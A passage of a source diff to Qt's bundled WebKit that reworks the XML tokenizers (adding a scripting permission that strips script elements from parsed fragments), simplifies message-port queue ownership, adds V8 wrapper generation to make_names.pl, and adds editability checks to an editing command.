-            xmlParseChunk(m_context, 0, 0, 1);
+            xmlParseChunk(context(), 0, 0, 1);
         }
 
-        if (m_context->myDoc)
-            xmlFreeDoc(m_context->myDoc);
-        xmlFreeParserCtxt(m_context);
         m_context = 0;
     }
 }
@@ -1334,18 +1345,19 @@ void* xmlDocPtrForString(DocLoader* docLoader, const String& source, const Strin
 
 int XMLTokenizer::lineNumber() const
 {
-    return m_context ? m_context->input->line : 1;
+    return context() ? context()->input->line : 1;
 }
 
 int XMLTokenizer::columnNumber() const
 {
-    return m_context ? m_context->input->col : 1;
+    return context() ? context()->input->col : 1;
 }
 
 void XMLTokenizer::stopParsing()
 {
     Tokenizer::stopParsing();
-    xmlStopParser(m_context);
+    if (context())
+        xmlStopParser(context());
 }
 
 void XMLTokenizer::resumeParsing()
@@ -1374,27 +1386,27 @@ void XMLTokenizer::resumeParsing()
         end();
 }
 
-bool parseXMLDocumentFragment(const String& chunk, DocumentFragment* fragment, Element* parent)
+bool parseXMLDocumentFragment(const String& chunk, DocumentFragment* fragment, Element* parent, FragmentScriptingPermission scriptingPermission)
 {
     if (!chunk.length())
         return true;
 
-    XMLTokenizer tokenizer(fragment, parent);
+    XMLTokenizer tokenizer(fragment, parent, scriptingPermission);
     
     CString chunkAsUtf8 = chunk.utf8();
     tokenizer.initializeParserContext(chunkAsUtf8.data());
 
-    xmlParseContent(tokenizer.m_context);
+    xmlParseContent(tokenizer.context());
 
     tokenizer.endDocument();
 
     // Check if all the chunk has been processed.
-    long bytesProcessed = xmlByteConsumed(tokenizer.m_context);
+    long bytesProcessed = xmlByteConsumed(tokenizer.context());
     if (bytesProcessed == -1 || ((unsigned long)bytesProcessed) != chunkAsUtf8.length())
         return false;
 
     // No error if the chunk is well formed or it is not but we have no error.
-    return tokenizer.m_context->wellFormed || xmlCtxtGetLastError(tokenizer.m_context) == 0;
+    return tokenizer.context()->wellFormed || xmlCtxtGetLastError(tokenizer.context()) == 0;
 }
 
 // --------------------------------
@@ -1437,12 +1449,9 @@ HashMap<String, String> parseAttributes(const String& string, bool& attrsOK)
     memset(&sax, 0, sizeof(sax));
     sax.startElementNs = attributesStartElementNsHandler;
     sax.initialized = XML_SAX2_MAGIC;
-    xmlParserCtxtPtr parser = createStringParser(&sax, &state);
+    RefPtr<XMLParserContext> parser = XMLParserContext::createStringParser(&sax, &state);
     String parseString = "<?xml version=\"1.0\"?><attrs " + string + " />";
-    xmlParseChunk(parser, reinterpret_cast<const char*>(parseString.characters()), parseString.length() * sizeof(UChar), 1);
-    if (parser->myDoc)
-        xmlFreeDoc(parser->myDoc);
-    xmlFreeParserCtxt(parser);
+    xmlParseChunk(parser->context(), reinterpret_cast<const char*>(parseString.characters()), parseString.length() * sizeof(UChar), 1);
     attrsOK = state.gotAttributes;
     return state.attributes;
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/XMLTokenizerQt.cpp b/src/3rdparty/webkit/WebCore/dom/XMLTokenizerQt.cpp
index 5c87fe6..b55942a 100644
--- a/src/3rdparty/webkit/WebCore/dom/XMLTokenizerQt.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/XMLTokenizerQt.cpp
@@ -52,7 +52,6 @@
 #include "TextResourceDecoder.h"
 #include "TransformSource.h"
 #include <QDebug>
-#include <wtf/Platform.h>
 #include <wtf/StringExtras.h>
 #include <wtf/Threading.h>
 #include <wtf/Vector.h>
@@ -66,7 +65,6 @@ using namespace std;
 
 namespace WebCore {
 
-#if QT_VERSION >= 0x040400
 class EntityResolver : public QXmlStreamEntityResolver {
     virtual QString resolveUndeclaredEntity(const QString &name);
 };
@@ -76,7 +74,6 @@ QString EntityResolver::resolveUndeclaredEntity(const QString &name)
     UChar c = decodeNamedEntity(name.toUtf8().constData());
     return QString(c);
 }
-#endif
 
 // --------------------------------
 
@@ -102,13 +99,12 @@ XMLTokenizer::XMLTokenizer(Document* _doc, FrameView* _view)
     , m_pendingScript(0)
     , m_scriptStartLine(0)
     , m_parsingFragment(false)
+    , m_scriptingPermission(FragmentScriptingAllowed)
 {
-#if QT_VERSION >= 0x040400
     m_stream.setEntityResolver(new EntityResolver);
-#endif
 }
 
-XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
+XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement, FragmentScriptingPermission permission)
     : m_doc(fragment->document())
     , m_view(0)
     , m_wroteText(false)
@@ -130,6 +126,7 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
     , m_pendingScript(0)
     , m_scriptStartLine(0)
     , m_parsingFragment(true)
+    , m_scriptingPermission(permission)
 {
     fragment->ref();
     if (m_doc)
@@ -149,19 +146,6 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
     if (elemStack.isEmpty())
         return;
     
-#if QT_VERSION < 0x040400
-    for (Element* element = elemStack.last(); !elemStack.isEmpty(); elemStack.removeLast()) {
-        if (NamedNodeMap* attrs = element->attributes()) {
-            for (unsigned i = 0; i < attrs->length(); i++) {
-                Attribute* attr = attrs->attributeItem(i);
-                if (attr->localName() == "xmlns")
-                    m_defaultNamespaceURI = attr->value();
-                else if (attr->prefix() == "xmlns")
-                    m_prefixToNamespaceMap.set(attr->localName(), attr->value());
-            }
-        }
-    }
-#else
     QXmlStreamNamespaceDeclarations namespaces;
     for (Element* element = elemStack.last(); !elemStack.isEmpty(); elemStack.removeLast()) {
         if (NamedNodeMap* attrs = element->attributes()) {
@@ -176,7 +160,6 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
     }
     m_stream.addExtraNamespaceDeclarations(namespaces);
     m_stream.setEntityResolver(new EntityResolver);
-#endif
 
     // If the parent element is not in document tree, there may be no xmlns attribute; just default to the parent's namespace.
     if (m_defaultNamespaceURI.isNull() && !parentElement->inDocument())
@@ -190,9 +173,7 @@ XMLTokenizer::~XMLTokenizer()
         m_doc->deref();
     if (m_pendingScript)
         m_pendingScript->removeClient(this);
-#if QT_VERSION >= 0x040400
     delete m_stream.entityResolver();
-#endif
 }
 
 void XMLTokenizer::doWrite(const String& parseString)
@@ -207,27 +188,6 @@ void XMLTokenizer::doWrite(const String& parseString)
 
     QString data(parseString);
     if (!data.isEmpty()) {
-#if QT_VERSION < 0x040400
-        if (!m_sawFirstElement) {
-            int idx = data.indexOf(QLatin1String("<?xml"));
-            if (idx != -1) {
-                int start = idx + 5;
-                int end = data.indexOf(QLatin1String("?>"), start);
-                QString content = data.mid(start, end-start);
-                bool ok = true;
-                HashMap<String, String> attrs = parseAttributes(content, ok);
-                String version = attrs.get("version");
-                String encoding = attrs.get("encoding");
-                ExceptionCode ec = 0;
-                if (!m_parsingFragment) {
-                    if (!version.isEmpty())
-                        m_doc->setXMLVersion(version, ec);
-                    if (!encoding.isEmpty())
-                        m_doc->setXMLEncoding(encoding);
-                }
-            }
-        }
-#endif
         m_stream.addData(data);
         parse();
     }
@@ -297,12 +257,12 @@ void XMLTokenizer::resumeParsing()
         end();
 }
 
-bool parseXMLDocumentFragment(const String& chunk, DocumentFragment* fragment, Element* parent)
+bool parseXMLDocumentFragment(const String& chunk, DocumentFragment* fragment, Element* parent, FragmentScriptingPermission scriptingPermission)
 {
     if (!chunk.length())
         return true;
 
-    XMLTokenizer tokenizer(fragment, parent);
+    XMLTokenizer tokenizer(fragment, parent, scriptingPermission);
     
     tokenizer.write(String("<qxmlstreamdummyelement>"), false);
     tokenizer.write(chunk, false);
@@ -363,19 +323,20 @@ static inline String prefixFromQName(const QString& qName)
 }
 
 static inline void handleElementNamespaces(Element* newElement, const QXmlStreamNamespaceDeclarations &ns,
-                                           ExceptionCode& ec)
+                                           ExceptionCode& ec, FragmentScriptingPermission scriptingPermission)
 {
     for (int i = 0; i < ns.count(); ++i) {
         const QXmlStreamNamespaceDeclaration &decl = ns[i];
         String namespaceURI = decl.namespaceUri();
         String namespaceQName = decl.prefix().isEmpty() ? String("xmlns") : String("xmlns:") + String(decl.prefix());
-        newElement->setAttributeNS("http://www.w3.org/2000/xmlns/", namespaceQName, namespaceURI, ec);
+        newElement->setAttributeNS("http://www.w3.org/2000/xmlns/", namespaceQName, namespaceURI, ec, scriptingPermission);
         if (ec) // exception setting attributes
             return;
     }
 }
 
-static inline void handleElementAttributes(Element* newElement, const QXmlStreamAttributes &attrs, ExceptionCode& ec)
+static inline void handleElementAttributes(Element* newElement, const QXmlStreamAttributes &attrs, ExceptionCode& ec,
+                                           FragmentScriptingPermission scriptingPermission)
 {
     for (int i = 0; i < attrs.count(); ++i) {
         const QXmlStreamAttribute &attr = attrs[i];
@@ -383,7 +344,7 @@ static inline void handleElementAttributes(Element* newElement, const QXmlStream
         String attrValue     = attr.value();
         String attrURI       = attr.namespaceUri().isEmpty() ? String() : String(attr.namespaceUri());
         String attrQName     = attr.qualifiedName();
-        newElement->setAttributeNS(attrURI, attrQName, attrValue, ec);
+        newElement->setAttributeNS(attrURI, attrQName, attrValue, ec, scriptingPermission);
         if (ec) // exception setting attributes
             return;
     }
@@ -485,14 +446,12 @@ void XMLTokenizer::startDocument()
     if (!m_parsingFragment) {
         m_doc->setXMLStandalone(m_stream.isStandaloneDocument(), ec);
 
-#if QT_VERSION >= 0x040400
         QStringRef version = m_stream.documentVersion();
         if (!version.isEmpty())
             m_doc->setXMLVersion(version, ec);
         QStringRef encoding = m_stream.documentEncoding();
         if (!encoding.isEmpty())
             m_doc->setXMLEncoding(encoding);
-#endif
     }
 }
 
@@ -545,13 +504,13 @@ void XMLTokenizer::parseStartElement()
     m_sawFirstElement = true;
 
     ExceptionCode ec = 0;
-    handleElementNamespaces(newElement.get(), m_stream.namespaceDeclarations(), ec);
+    handleElementNamespaces(newElement.get(), m_stream.namespaceDeclarations(), ec, m_scriptingPermission);
     if (ec) {
         stopParsing();
         return;
     }
 
-    handleElementAttributes(newElement.get(), m_stream.attributes(), ec);
+    handleElementAttributes(newElement.get(), m_stream.attributes(), ec, m_scriptingPermission);
     if (ec) {
         stopParsing();
         return;
@@ -581,6 +540,13 @@ void XMLTokenizer::parseEndElement()
     Node* n = m_currentNode;
     n->finishParsingChildren();
 
+    if (m_scriptingPermission == FragmentScriptingNotAllowed && n->isElementNode() && toScriptElement(static_cast<Element*>(n))) {
+        popCurrentNode();
+        ExceptionCode ec;
+        n->remove(ec);
+        return;
+    }
+
     if (!n->isElementNode() || !m_view) {
         if (!m_currentNodeStack.isEmpty())
             popCurrentNode();
@@ -702,83 +668,11 @@ bool XMLTokenizer::hasError() const
     return m_stream.hasError();
 }
 
-#if QT_VERSION < 0x040400
-static QString parseId(const QString &dtd, int *pos, bool *ok)
-{
-    *ok = true;
-    int start = *pos + 1;
-    int end = start;
-    if (dtd.at(*pos) == QLatin1Char('\''))
-        while (start < dtd.length() && dtd.at(end) != QLatin1Char('\''))
-            ++end;
-    else if (dtd.at(*pos) == QLatin1Char('\"'))
-        while (start < dtd.length() && dtd.at(end) != QLatin1Char('\"'))
-            ++end;
-    else {
-        *ok = false;
-        return QString();
-    }
-    *pos = end + 1;
-    return dtd.mid(start, end - start);
-}
-#endif
-
 void XMLTokenizer::parseDtd()
 {
-#if QT_VERSION >= 0x040400
     QStringRef name = m_stream.dtdName();
     QStringRef publicId = m_stream.dtdPublicId();
     QStringRef systemId = m_stream.dtdSystemId();
-#else
-    QString dtd = m_stream.text().toString();
-
-    int start = dtd.indexOf("<!DOCTYPE ") + 10;
-    while (start < dtd.length() && dtd.at(start).isSpace())
-        ++start;
-    int end = start;
-    while (start < dtd.length() && !dtd.at(end).isSpace())
-        ++end;
-    QString name = dtd.mid(start, end - start);
-
-    start = end;
-    while (start < dtd.length() && dtd.at(start).isSpace())
-        ++start;
-    end = start;
-    while (start < dtd.length() && !dtd.at(end).isSpace())
-        ++end;
-    QString id = dtd.mid(start, end - start);
-    start = end;
-    while (start < dtd.length() && dtd.at(start).isSpace())
-        ++start;
-    QString publicId;
-    QString systemId;
-    if (id == QLatin1String("PUBLIC")) {
-        bool ok;
-        publicId = parseId(dtd, &start, &ok);
-        if (!ok) {
-            handleError(fatal, "Invalid DOCTYPE", lineNumber(), columnNumber());
-            return;
-        }
-        while (start < dtd.length() && dtd.at(start).isSpace())
-            ++start;
-        systemId = parseId(dtd, &start, &ok);
-        if (!ok) {
-            handleError(fatal, "Invalid DOCTYPE", lineNumber(), columnNumber());
-            return;
-        }
-    } else if (id == QLatin1String("SYSTEM")) {
-        bool ok;
-        systemId = parseId(dtd, &start, &ok);
-        if (!ok) {
-            handleError(fatal, "Invalid DOCTYPE", lineNumber(), columnNumber());
-            return;
-        }
-    } else if (id == QLatin1String("[") || id == QLatin1String(">")) {
-    } else {
-        handleError(fatal, "Invalid DOCTYPE", lineNumber(), columnNumber());
-        return;
-    }
-#endif    
 
     //qDebug() << dtd << name << publicId << systemId;
     if ((publicId == QLatin1String("-//W3C//DTD XHTML 1.0 Transitional//EN"))
diff --git a/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.cpp b/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.cpp
index d668703..9e0e7dc 100644
--- a/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.cpp
@@ -193,7 +193,8 @@ void PlatformMessagePortChannel::postMessageToRemote(PassOwnPtr<MessagePortChann
 bool PlatformMessagePortChannel::tryGetMessageFromRemote(OwnPtr<MessagePortChannel::EventData>& result)
 {
     MutexLocker lock(m_mutex);
-    return m_incomingQueue->tryGetMessage(result);
+    result = m_incomingQueue->tryGetMessage();
+    return result;
 }
 
 bool PlatformMessagePortChannel::isConnectedTo(MessagePort* port)
diff --git a/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.h b/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.h
index 0ce2d13..2aad952 100644
--- a/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.h
+++ b/src/3rdparty/webkit/WebCore/dom/default/PlatformMessagePortChannel.h
@@ -63,18 +63,14 @@ namespace WebCore {
         public:
             static PassRefPtr<MessagePortQueue> create() { return adoptRef(new MessagePortQueue()); }
 
-            bool tryGetMessage(OwnPtr<MessagePortChannel::EventData>& message)
+            PassOwnPtr<MessagePortChannel::EventData> tryGetMessage()
             {
-                MessagePortChannel::EventData* holder = 0;
-                bool messageAvailable = m_queue.tryGetMessage(holder);
-                if (messageAvailable)
-                    message.set(holder);
-                return messageAvailable;
+                return m_queue.tryGetMessage();
             }
 
             bool appendAndCheckEmpty(PassOwnPtr<MessagePortChannel::EventData> message)
             {
-                return m_queue.appendAndCheckEmpty(message.release());
+                return m_queue.appendAndCheckEmpty(message);
             }
 
             bool isEmpty()
@@ -82,19 +78,10 @@ namespace WebCore {
                 return m_queue.isEmpty();
             }
 
-            ~MessagePortQueue()
-            {
-                // Manually free any items left in the queue, since we can't use OwnPtr internally.
-                MessagePortChannel::EventData* data = 0;
-                while (m_queue.tryGetMessage(data))
-                    delete data;
-            }
         private:
             MessagePortQueue() { }
 
-            // OwnPtr is Noncopyable, so we can't use it as the template type in a MessageQueue. So we just store a pointer to EventData and manually free it in the destructor.
-            // FIXME: Use a lock-free queue implementation to completely eliminate contention when sending/receiving messages.
-            MessageQueue<MessagePortChannel::EventData*> m_queue;
+            MessageQueue<MessagePortChannel::EventData> m_queue;
         };
 
         ~PlatformMessagePortChannel();
diff --git a/src/3rdparty/webkit/WebCore/dom/make_names.pl b/src/3rdparty/webkit/WebCore/dom/make_names.pl
index 6b5ddb4..2d92a05 100755
--- a/src/3rdparty/webkit/WebCore/dom/make_names.pl
+++ b/src/3rdparty/webkit/WebCore/dom/make_names.pl
@@ -38,7 +38,8 @@ use InFilesParser;
 use Switch;
 
 my $printFactory = 0; 
-my $printWrapperFactory = 0;
+my $printWrapperFactory = 0; 
+my $printWrapperFactoryV8 = 0; 
 my $tagsFile = "";
 my $attrsFile = "";
 my $outputDir = ".";
@@ -46,7 +47,14 @@ my %tags = ();
 my %attrs = ();
 my %parameters = ();
 my $extraDefines = 0;
-my $preprocessor = "/usr/bin/gcc -E -P -x c++";
+require Config;
+my $gccLocation = "";
+if (($Config::Config{'osname'}) =~ /solaris/i) {
+    $gccLocation = "/usr/sfw/bin/gcc";
+} else {
+    $gccLocation = "/usr/bin/gcc";
+}
+my $preprocessor = $gccLocation . " -E -P -x c++";
 
 GetOptions(
     'tags=s' => \$tagsFile, 
@@ -55,7 +63,8 @@ GetOptions(
     'outputDir=s' => \$outputDir,
     'extraDefines=s' => \$extraDefines,
     'preprocessor=s' => \$preprocessor,
-    'wrapperFactory' => \$printWrapperFactory
+    'wrapperFactory' => \$printWrapperFactory,
+    'wrapperFactoryV8' => \$printWrapperFactoryV8
 );
 
 die "You must specify at least one of --tags <file> or --attrs <file>" unless (length($tagsFile) || length($attrsFile));
@@ -71,7 +80,7 @@ $parameters{namespacePrefix} = $parameters{namespace} unless $parameters{namespa
 mkpath($outputDir);
 my $namesBasePath = "$outputDir/$parameters{namespace}Names";
 my $factoryBasePath = "$outputDir/$parameters{namespace}ElementFactory";
-my $wrapperFactoryBasePath = "$outputDir/JS$parameters{namespace}ElementWrapperFactory";
+my $wrapperFactoryFileName = "$parameters{namespace}ElementWrapperFactory";
 
 printNamesHeaderFile("$namesBasePath.h");
 printNamesCppFile("$namesBasePath.cpp");
@@ -81,9 +90,17 @@ if ($printFactory) {
     printFactoryHeaderFile("$factoryBasePath.h");
 }
 
+die "You cannot specify both --wrapperFactory and --wrapperFactoryV8" if $printWrapperFactory && $printWrapperFactoryV8;
+my $wrapperFactoryType = "";
 if ($printWrapperFactory) {
-    printWrapperFactoryCppFile("$wrapperFactoryBasePath.cpp");
-    printWrapperFactoryHeaderFile("$wrapperFactoryBasePath.h");
+    $wrapperFactoryType = "JS";
+} elsif ($printWrapperFactoryV8) {
+    $wrapperFactoryType = "V8";
+}
+
+if ($wrapperFactoryType) {
+    printWrapperFactoryCppFile($outputDir, $wrapperFactoryType, $wrapperFactoryFileName);
+    printWrapperFactoryHeaderFile($outputDir, $wrapperFactoryType, $wrapperFactoryFileName);
 }
 
 ### Hash initialization
@@ -94,7 +111,6 @@ sub defaultTagPropertyHash
         'constructorNeedsCreatedByParser' => 0,
         'constructorNeedsFormElement' => 0,
         'createWithNew' => 0,
-        'exportString' => 0,
         'interfaceName' => defaultInterfaceName($_[0]),
         # By default, the JSInterfaceName is the same as the interfaceName.
         'JSInterfaceName' => defaultInterfaceName($_[0]),
@@ -104,11 +120,6 @@ sub defaultTagPropertyHash
     );
 }
 
-sub defaultAttrPropertyHash
-{
-    return ('exportString' => 0);
-}
-
 sub defaultParametersHash
 {
     return (
@@ -117,8 +128,7 @@ sub defaultParametersHash
         'namespaceURI' => '',
         'guardFactoryWith' => '',
         'tagsNullNamespace' => 0,
-        'attrsNullNamespace' => 0,
-        'exportStrings' => 0
+        'attrsNullNamespace' => 0
     );
 }
 
@@ -157,7 +167,7 @@ sub attrsHandler
     $attr =~ s/-/_/g;
 
     # Initialize default properties' values.
-    $attrs{$attr} = { defaultAttrPropertyHash($attr) } if !defined($attrs{$attr});
+    $attrs{$attr} = {} if !defined($attrs{$attr});
 
     if ($property) {
         die "Unknown property $property for attribute $attr\n" if !defined($attrs{$attr}{$property});
@@ -220,10 +230,6 @@ sub printMacros
 
     for my $name (sort keys %$namesRef) {
         print F "$macro $name","$suffix;\n";
-
-        if ($parameters{exportStrings} or $names{$name}{exportString}) { 
-            print F "extern char $name", "${suffix}String[];\n";
-        }
     }
 }
 
@@ -534,14 +540,6 @@ DEFINE_GLOBAL(AtomicString, ${lowerNamespace}NamespaceURI, \"$parameters{namespa
         print F "}\n";
     }
 
-    if (keys %tags) {
-        printDefinitionStrings($F, \%tags, "tags");
-    }
-
-    if (keys %attrs) {
-        printDefinitionStrings($F, \%attrs, "attributes");
-    }
-
 print F "\nvoid init()
 {
     static bool initialized = false;
@@ -574,6 +572,7 @@ print F "\nvoid init()
 sub printJSElementIncludes
 {
     my $F = shift;
+    my $wrapperFactoryType = shift;
 
     my %tagsSeen;
     for my $tagName (sort keys %tags) {
@@ -581,7 +580,7 @@ sub printJSElementIncludes
         next if defined($tagsSeen{$JSInterfaceName}) || usesDefaultJSWrapper($tagName);
         $tagsSeen{$JSInterfaceName} = 1;
 
-        print F "#include \"JS${JSInterfaceName}.h\"\n";
+        print F "#include \"${wrapperFactoryType}${JSInterfaceName}.h\"\n";
     }
 }
 
@@ -599,25 +598,6 @@ sub printElementIncludes
     }
 }
 
-sub printDefinitionStrings
-{
-    my ($F, $namesRef, $type) = @_;
-    my $singularType = substr($type, 0, -1);
-    my $shortType = substr($singularType, 0, 4);
-    my $shortCamelType = ucfirst($shortType);
-    print F "\n// " . ucfirst($type) . " as strings\n";
-
-    my %names = %$namesRef;
-    for my $name (sort keys %$namesRef) {
-        next if (!$parameters{exportStrings} and !$names{$name}{exportString});
-
-        my $realName = $name;
-        $realName =~ s/_/-/g;
-
-        print F "char $name","${shortCamelType}String[] = \"$realName\";\n";
-    }
-} 
-
 sub printDefinitions
 {
     my ($F, $namesRef, $type, $namespaceURI) = @_;
@@ -628,19 +608,10 @@ sub printDefinitions
     
     print F "    // " . ucfirst($type) . "\n";
 
-    my %names = %$namesRef;
     for my $name (sort keys %$namesRef) {
-        next if ($parameters{exportStrings} or $names{$name}{exportString});
-
         my $realName = $name;
         $realName =~ s/_/-/g;
-        print F "    const char *$name","${shortCamelType}String = \"$realName\";\n";
-    }
-
-    print "\n";
-
-    for my $name (sort keys %$namesRef) {
-        print F "    new ((void*)&$name","${shortCamelType}) QualifiedName(nullAtom, $name","${shortCamelType}String, $namespaceURI);\n";
+        print F "    new ((void*)&$name","${shortCamelType}) QualifiedName(nullAtom, \"$realName\", $namespaceURI);\n";
     }
 }
 
@@ -846,6 +817,7 @@ sub usesDefaultJSWrapper
 sub printWrapperFunctions
 {
     my $F = shift;
+    my $wrapperFactoryType = shift;
 
     my %tagsSeen;
     for my $tagName (sort keys %tags) {
@@ -860,10 +832,11 @@ sub printWrapperFunctions
             print F "#if ${conditionalString}\n\n";
         }
 
-        # Hack for the media tags
-        # FIXME: This should have been done via a CustomWrapper attribute and a separate *Custom file.
-        if ($tags{$tagName}{wrapperOnlyIfMediaIsAvailable}) {
-            print F <<END
+        if ($wrapperFactoryType eq "JS") {
+            # Hack for the media tags
+            # FIXME: This should have been done via a CustomWrapper attribute and a separate *Custom file.
+            if ($tags{$tagName}{wrapperOnlyIfMediaIsAvailable}) {
+                print F <<END
 static JSNode* create${JSInterfaceName}Wrapper(ExecState* exec, JSDOMGlobalObject* globalObject, PassRefPtr<$parameters{namespace}Element> element)
 {
     if (!MediaPlayer::isAvailable())
@@ -873,8 +846,8 @@ static JSNode* create${JSInterfaceName}Wrapper(ExecState* exec, JSDOMGlobalObjec
 
 END
 ;
-        } else {
-            print F <<END
+            } else {
+                print F <<END
 static JSNode* create${JSInterfaceName}Wrapper(ExecState* exec, JSDOMGlobalObject* globalObject, PassRefPtr<$parameters{namespace}Element> element)
 {
     return CREATE_DOM_NODE_WRAPPER(exec, globalObject, ${JSInterfaceName}, element.get());
@@ -882,6 +855,16 @@ static JSNode* create${JSInterfaceName}Wrapper(ExecState* exec, JSDOMGlobalObjec
 
 END
 ;
+            }
+        } elsif ($wrapperFactoryType eq "V8") {
+            print F <<END
+static v8::Handle<v8::Value> create${JSInterfaceName}Wrapper($parameters{namespace}Element* element)
+{
+    return toV8(static_cast<${JSInterfaceName}*>(element));
+}
+
+END
+;
         }
 
         if ($conditional) {
@@ -892,9 +875,11 @@ END
 
 sub printWrapperFactoryCppFile
 {
-    my $cppPath = shift;
+    my $outputDir = shift;
+    my $wrapperFactoryType = shift;
+    my $wrapperFactoryFileName = shift;
     my $F;
-    open F, ">$cppPath";
+    open F, ">" . $outputDir . "/" . $wrapperFactoryType . $wrapperFactoryFileName . ".cpp";
 
     printLicenseHeader($F);
 
@@ -902,38 +887,73 @@ sub printWrapperFactoryCppFile
 
     print F "#if $parameters{guardFactoryWith}\n\n" if $parameters{guardFactoryWith};
 
-    print F "#include \"JS$parameters{namespace}ElementWrapperFactory.h\"\n";
+    print F "#include \"$wrapperFactoryType$parameters{namespace}ElementWrapperFactory.h\"\n";
 
-    printJSElementIncludes($F);
+    printJSElementIncludes($F, $wrapperFactoryType);
 
     print F "\n#include \"$parameters{namespace}Names.h\"\n\n";
 
     printElementIncludes($F);
 
     print F "\n#include <wtf/StdLibExtras.h>\n\n";
-    
-    print F <<END
+
+    if ($wrapperFactoryType eq "JS") {    
+        print F <<END
 using namespace JSC;
+END
+;
+    } elsif ($wrapperFactoryType eq "V8") {
+        print F <<END
+#include "V8$parameters{namespace}Element.h"
+        
+#include <v8.h>
+END
+;
+    }
+
+    print F <<END
 
 namespace WebCore {
 
 using namespace $parameters{namespace}Names;
 
+END
+;
+    if ($wrapperFactoryType eq "JS") {
+        print F <<END
 typedef JSNode* (*Create$parameters{namespace}ElementWrapperFunction)(ExecState*, JSDOMGlobalObject*, PassRefPtr<$parameters{namespace}Element>);
 
 END
 ;
+    } elsif ($wrapperFactoryType eq "V8") {
+        print F <<END
+typedef v8::Handle<v8::Value> (*Create$parameters{namespace}ElementWrapperFunction)($parameters{namespace}Element*);
 
-    printWrapperFunctions($F);
+END
+;
+    }
 
-    print F <<END
+    printWrapperFunctions($F, $wrapperFactoryType);
+
+    if ($wrapperFactoryType eq "JS") {
+        print F <<END
 JSNode* createJS$parameters{namespace}Wrapper(ExecState* exec, JSDOMGlobalObject* globalObject, PassRefPtr<$parameters{namespace}Element> element)
-{   
+{
+    typedef HashMap<WebCore::AtomicStringImpl*, Create$parameters{namespace}ElementWrapperFunction> FunctionMap;
+    DEFINE_STATIC_LOCAL(FunctionMap, map, ());
+    if (map.isEmpty()) {
+END
+;
+    } elsif ($wrapperFactoryType eq "V8") {
+        print F <<END
+v8::Handle<v8::Value> createV8$parameters{namespace}Wrapper($parameters{namespace}Element* element, bool forceNewObject)
+{
     typedef HashMap<WebCore::AtomicStringImpl*, Create$parameters{namespace}ElementWrapperFunction> FunctionMap;
     DEFINE_STATIC_LOCAL(FunctionMap, map, ());
     if (map.isEmpty()) {
 END
 ;
+    }
 
     for my $tag (sort keys %tags) {
         # Do not add the name to the map if it does not have a JS wrapper constructor or uses the default wrapper.
@@ -957,8 +977,22 @@ END
     }
     Create$parameters{namespace}ElementWrapperFunction createWrapperFunction = map.get(element->localName().impl());
     if (createWrapperFunction)
+END
+;
+    if ($wrapperFactoryType eq "JS") {
+        print F <<END
         return createWrapperFunction(exec, globalObject, element);
     return CREATE_DOM_NODE_WRAPPER(exec, globalObject, $parameters{namespace}Element, element.get());
+END
+;
+    } elsif ($wrapperFactoryType eq "V8") {
+        print F <<END
+        return createWrapperFunction(element);
+    return V8$parameters{namespace}Element::wrap(element, forceNewObject);
+END
+;
+    }
+    print F <<END
 }
 
 }
@@ -973,18 +1007,21 @@ END
 
 sub printWrapperFactoryHeaderFile
 {
-    my $headerPath = shift;
+    my $outputDir = shift;
+    my $wrapperFactoryType = shift;
+    my $wrapperFactoryFileName = shift;
     my $F;
-    open F, ">$headerPath";
+    open F, ">" . $outputDir . "/" . $wrapperFactoryType . $wrapperFactoryFileName . ".h";
 
     printLicenseHeader($F);
 
-    print F "#ifndef JS$parameters{namespace}ElementWrapperFactory_h\n";
-    print F "#define JS$parameters{namespace}ElementWrapperFactory_h\n\n";
+    print F "#ifndef $wrapperFactoryType$parameters{namespace}ElementWrapperFactory_h\n";
+    print F "#define $wrapperFactoryType$parameters{namespace}ElementWrapperFactory_h\n\n";
 
     print F "#if $parameters{guardFactoryWith}\n" if $parameters{guardFactoryWith};
 
-    print F <<END
+    if ($wrapperFactoryType eq "JS") {
+        print F <<END
 #include <wtf/Forward.h>
 
 namespace JSC {
@@ -1003,10 +1040,23 @@ namespace WebCore {
  
 END
 ;
+    } elsif ($wrapperFactoryType eq "V8") {
+        print F <<END
+#include <v8.h>
+
+namespace WebCore {
+
+    class $parameters{namespace}Element;
+
+    v8::Handle<v8::Value> createV8$parameters{namespace}Wrapper($parameters{namespace}Element*, bool);
+}
+END
+;
+    }
 
     print F "#endif // $parameters{guardFactoryWith}\n\n" if $parameters{guardFactoryWith};
 
-    print F "#endif // JS$parameters{namespace}ElementWrapperFactory_h\n";
+    print F "#endif // $wrapperFactoryType$parameters{namespace}ElementWrapperFactory_h\n";
 
     close F;
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/AppendNodeCommand.cpp b/src/3rdparty/webkit/WebCore/editing/AppendNodeCommand.cpp
index ef79e9c..6178641 100644
--- a/src/3rdparty/webkit/WebCore/editing/AppendNodeCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/AppendNodeCommand.cpp
@@ -44,12 +44,18 @@ AppendNodeCommand::AppendNodeCommand(PassRefPtr<Element> parent, PassRefPtr<Node
 
 void AppendNodeCommand::doApply()
 {
+    if (!m_parent->isContentEditable() && m_parent->attached())
+        return;
+        
     ExceptionCode ec;
     m_parent->appendChild(m_node.get(), ec);
 }
 
 void AppendNodeCommand::doUnapply()
 {
+    if (!m_parent->isContentEditable())
+        return;
+        
     ExceptionCode ec;
     m_node->remove(ec);
 }
diff --git a/src/3rdparty/webkit/WebCore/editing/ApplyStyleCommand.cpp b/src/3rdparty/webkit/WebCore/editing/ApplyStyleCommand.cpp
index 7a8f025..1c739ec 100644
--- a/src/3rdparty/webkit/WebCore/editing/ApplyStyleCommand.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/ApplyStyleCommand.cpp
